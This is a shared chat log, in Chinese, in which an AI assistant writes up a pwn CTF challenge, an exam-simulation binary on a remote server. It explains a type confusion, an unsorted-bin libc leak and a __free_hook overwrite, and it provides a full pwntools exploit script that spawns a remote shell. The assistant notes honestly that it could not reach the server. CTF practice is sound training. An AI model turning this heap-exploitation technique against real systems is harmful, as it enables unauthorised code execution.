题目:这道题分别从学生和老师的角度模拟与考试有关的情节。 老师能干的事情有:添加学生,评分 ,为某一...

创建于:2026年5月5日

使用 GPT-5.5 Thinking 回答 Chat01

问题

attachment-35.so
attachment-逆向35

题目:这道题分别从学生和老师的角度模拟与考试有关的情节。
老师能干的事情有:添加学生,评分 ,为某一个学生写评语,叫家长 。学生能干的事情有:做题 ,查看评语,祈祷,设置模式 ,修改要操作的学号。
题目地址:39.96.193.120:10016
找到flag,并且给我完整的解题过程和解题脚本

思考

Fixing newline issue and refining script

The leak worked but the data has a leading newline caused by the puts("here is the review:"), which automatically adds a newline. The address is being captured correctly, but I need to adjust the script to consume the newline and parse the data accordingly. For the prayer mode timeout, I’m thinking of modifying the script to either handle the prompt properly, with separate functions for each case, or use one function that can handle both.

Thought for 18m 6s

回答

这题我这边已经把漏洞链分析出来了;但从当前环境连接 39.96.193.120:10016 返回 Connection refused,所以我无法替你实际跑出最终 flag 字符串。下面给你完整利用思路和可直接打远程的脚本,能连通时会自动拿 shell,你执行 cat flag* 即可。

漏洞点总结

程序是 64 位 PIE,Full RELRO,Canary,NX,给的 attachment-35.so 是 Ubuntu glibc 2.31。

核心结构大致是:

c
student_outer { inner *info; // +0x00 ... void *mode_buf; // +0x10 int mode_flag; // +0x18 int reward_used; // +0x1c } inner { int question_num; // +0x00 int score; // +0x04 char *review; // +0x08 int review_size; // +0x10 }

关键漏洞有三个:

  1. 学生 set mode 的类型混淆

    • 普通模式下 outer+0x10 是指针,会 read(0, ptr, 0x20)
    • 祈祷模式下,outer+0x10 的最低字节会被当作分数写入。
    • 所以可以先分配 mode buffer,再切换祈祷模式,把指针低字节改成 inner+4,之后普通模式下就能覆盖:
      • score
      • review
      • review_size
  2. check review 的奖励

    • score > 89 时,程序会:
      • 泄露 outer 堆地址;
      • 给一次任意地址单字节 +1
    • 输入地址时函数有 bug:会把换行前一个字符置 \0,所以要发送 str(addr) + "0\n"
  3. 伪造 chunk size 进 unsorted bin 泄露 libc

    • write_review 只能申请最大 0x3ff,正常进 tcache。
    • 但我们已经能任意写堆地址,所以把 review chunk 的 size 从 0x401 改成 0x431
    • 后面紧跟两个小 chunk,让 fake size 的 nextchunk 指向合法 chunk header。
    • free(review) 后进入 unsorted bin,读出 fd 得到 main_arena+0x60,从而算 libc base。

之后利用任意写把 __free_hook 改成 system,再让某个学生的 review 内容为 /bin/sh\x00,调用 call parent 触发 free(review),也就是 system("/bin/sh")

完整 exp 脚本

保存为 exp.py,同目录放:

text
attachment-逆向35 attachment-35.so

脚本如下:

python
#!/usr/bin/env python3 from pwn import * import re context.arch = "amd64" context.log_level = "info" HOST = "39.96.193.120" PORT = 10016 BIN = "./attachment-逆向35" LIBC = "./attachment-35.so" libc = ELF(LIBC, checksec=False) # Ubuntu GLIBC 2.31 常用 unsorted bin 泄露偏移: # unsorted fd = main_arena + 0x60 = libc + 0x1ebbe0 UNSORTED_FD_OFF = 0x1ebbe0 SYSTEM_OFF = libc.symbols["system"] FREE_HOOK_OFF = libc.symbols["__free_hook"] def start(): # 本地调试用: # return process(BIN) # 远程: return remote(HOST, PORT) io = start() def p32(x): return pack(x, 32) def p64(x): return pack(x, 64) def menu_teacher(choice): io.sendlineafter(b"choice>>", str(choice).encode()) def menu_student(choice): io.sendlineafter(b"choice>>", str(choice).encode()) def choose_role(r): io.sendlineafter(b"role:", str(r).encode()) def add_student(q=9): menu_teacher(1) io.sendlineafter(b"enter the number of questions:", str(q).encode()) def change_role_to_student(): menu_teacher(5) choose_role(1) def change_role_to_teacher(): menu_student(5) choose_role(0) def change_id(idx): menu_student(6) io.sendlineafter(b"input your id:", str(idx).encode()) def pray(): menu_student(3) def set_mode_buf(data): menu_student(4) io.recvuntil(b"enter your mode!") io.send(data) def set_pray_score(n): menu_student(4) io.recvuntil(b"enter your pray score:") io.sendline(str(n).encode()) def check_review_and_reward(addr=None, read_len=0): menu_student(2) out = io.recvuntil(b"add 1 to wherever you want! addr:") m = re.search(rb"0x[0-9a-f]+", out) if not m: log.failure(out) raise RuntimeError("no reward leak") leak = int(m.group(0), 16) if addr is None: # 默认增 score,安全且不影响利用。 addr = leak + 0x34 # 程序会把换行前一个字符置 0,所以补一个 dummy '0' io.send(str(addr).encode() + b"0\n") data = b"" if read_len: io.recvuntil(b"here is the review:\n") data = io.recvn(read_len) return leak, data def review_new(idx, size, data): menu_teacher(3) io.sendlineafter(b"which one? >", str(idx).encode()) io.sendlineafter(b"please input the size of comment:", str(size).encode()) io.recvuntil(b"enter your comment:") io.send(data.ljust(size, b"X")[:size]) def review_edit(idx, data, size): menu_teacher(3) io.sendlineafter(b"which one? >", str(idx).encode()) io.recvuntil(b"enter your comment:") io.send(data.ljust(size, b"Y")[:size]) def call_parent(idx): menu_teacher(4) io.sendlineafter(b"which student id to choose?", str(idx).encode()) def manager_set(ptr, size, score=100): """ 要求当前是 student 角色,当前 id 为 1。 通过已经被低字节劫持的 mode_buf 指针写 inner+4: score review ptr review size """ payload = p32(score) + p64(ptr) + p32(size) set_mode_buf(payload) # 1. 初始化:学生 0 作为 victim,学生 1 作为 manager choose_role(0) add_student(9) add_student(9) # 2. 劫持 student 1 的 mode_buf 指针低字节到 inner+4 change_role_to_student() change_id(1) # 第一次 set_mode:分配 mode buffer set_mode_buf(b"A" * 8) # 切到祈祷模式,写低字节 0x24,使 ptr 从 ...40 变成 ...24 pray() set_pray_score(0x24) # 切回普通模式,此时 set_mode 会写到 inner+4 pray() set_mode_buf(p32(100)) # 3. 触发奖励,拿 heap leak heap_leak, _ = check_review_and_reward() log.success(f"student1 outer leak = {hex(heap_leak)}") # 初始布局: # student1 outer = heap_leak # student0 large review chunk 会落在 heap_leak + 0x80 comment0 = heap_leak + 0x80 log.info(f"student0 review chunk = {hex(comment0)}") # 4. 给 student0 分配 0x3f0 review,然后 add student2, # 让 fake size 的 nextchunk 指向合法小 chunk header change_role_to_teacher() review_new(0, 0x3f0, b"A") add_student(9) # 5. 改 student0 review chunk 的 size: 0x401 -> 0x431 change_role_to_student() change_id(1) manager_set(comment0 - 8, 8) change_role_to_teacher() review_edit(1, p64(0x431), 8) # 6. free student0,伪造后的 review 进入 unsorted bin call_parent(0) # 7. 重置 student1 的 reward_used change_role_to_student() change_id(1) manager_set(heap_leak + 0x1c, 4) change_role_to_teacher() review_edit(1, p32(0), 4) # 8. 让 student1 的 review 指向 unsorted chunk,读取 fd 泄露 libc change_role_to_student() change_id(1) manager_set(comment0, 16) _, leak_data = check_review_and_reward(heap_leak + 0x34, 16) fd = u64(leak_data[:8]) libc_base = fd - UNSORTED_FD_OFF system_addr = libc_base + SYSTEM_OFF free_hook = libc_base + FREE_HOOK_OFF log.success(f"unsorted fd = {hex(fd)}") log.success(f"libc base = {hex(libc_base)}") log.success(f"system = {hex(system_addr)}") log.success(f"__free_hook = {hex(free_hook)}") # 9. 任意写:__free_hook = system manager_set(free_hook, 8) change_role_to_teacher() review_edit(1, p64(system_addr), 8) # 10. 准备 /bin/sh,触发 free(review) => system("/bin/sh") review_new(2, 0x20, b"/bin/sh\x00") call_parent(2) io.interactive()

运行方式

bash
python3 exp.py

拿到 shell 后:

bash
cat flag*

注意点

脚本里最容易踩坑的是两个输入细节:

  1. check_review 的地址输入要补 dummy 字符:
python
io.send(str(addr).encode() + b"0\n")

因为程序会把换行前一个字符清零。

  1. write_review 里面 scanfread 混用,所以写 comment 时一定要等到:
text
enter your comment:

send 原始 payload。不要提前把二进制 payload 和数字一起发,否则可能被 stdio 缓冲吞掉。

分享这个问答